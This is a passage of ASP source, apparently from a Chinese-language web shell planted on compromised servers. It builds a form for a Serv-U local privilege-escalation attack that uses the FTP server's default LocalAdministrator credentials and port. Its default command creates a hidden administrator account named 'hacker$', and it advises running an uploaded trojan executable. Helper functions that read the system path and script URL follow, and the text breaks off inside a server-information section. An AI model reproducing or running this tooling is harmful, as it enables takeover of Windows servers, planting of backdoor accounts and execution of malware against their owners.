">"
RRS "<td colspan=""2"">Servu 提升权限 ASP通杀版<br><br>提示:如果提权不成功就多提交几次<br>命令可以任意修改,例如:cmd /c d:\你上传的木马.exe 或者VBS与COM文件</td>"
RRS "</tr>"
RRS "<tr align=""center"" valign=""middle"">"
RRS "<td width=""100"">用户名:</td>"
RRS "<td width=""379""><input name=""u"" type=""text"" id=""u"" value=""LocalAdministrator""></td>"
RRS "</tr>"
RRS "<tr align=""center"" valign=""middle"">"
RRS "<td>口 令:</td>"
RRS "<td><input name=""p"" type=""text"" id=""p"" value=""#l@$ak#.lk;0@P""></td>"
RRS "</tr>"
RRS "<tr align=""center"" valign=""middle"">"
RRS "<td>端 口:</td>"
RRS "<td><input name=""port"" type=""text"" id=""port"" value=""43958""></td>"
RRS "</tr>"
RRS "<tr align=""center"" valign=""middle"">"
RRS "<td>系统路径:</td>"
RRS "<td><input name=""f"" type=""text"" id=""f"" value="""&f&""" size=""8""></td>"
RRS "</tr>"
RRS "<tr align=""center"" valign=""middle"">"
RRS "<td>命 令:</td>"
RRS "<td><input name=""c"" type=""text"" id=""c"" value=""cmd /c net user hacker$ hacker /add & net localgroup administrators hacker$ /add"" size=""50""></td>"
RRS "</tr>"
RRS "<tr align=""center"" valign=""middle""><td colspan=""2"">"
RRS "<input type=""submit"" name=""Submit"" value=""提交"">"
RRS " <input type=""reset"" name=""Submit2"" value=""重置"">"
RRS "<input name=""action1"" type=""hidden"" id=""action1"" value=""1""></td>"
RRS "</tr>"
RRS "</table></form></center>"
end if
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
Function GName()
If request.servervariables("SERVER_PORT")="80" Then
GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
Else
GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
End If
End Function
Err.Clear
case "Alexa"
dim AlexaUrl,Top
AlexaUrl=request("u")
Top=Alexa(AlexaUrl)
if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&""
SI="<br><table width=''80%'' bgcolor=''menu'' border=''0'' cellspacing=''1'' cellpadding=''0'' align=''center''><tr><td height=''20'' colspan=''3'' align=''center'' bgcolor=''menu''>服务器组件信息</td></tr><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>服务器名</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''>"&request.serverVariables("SERVER_NAME")&"</td></tr><form method=post action=''http://www.ip138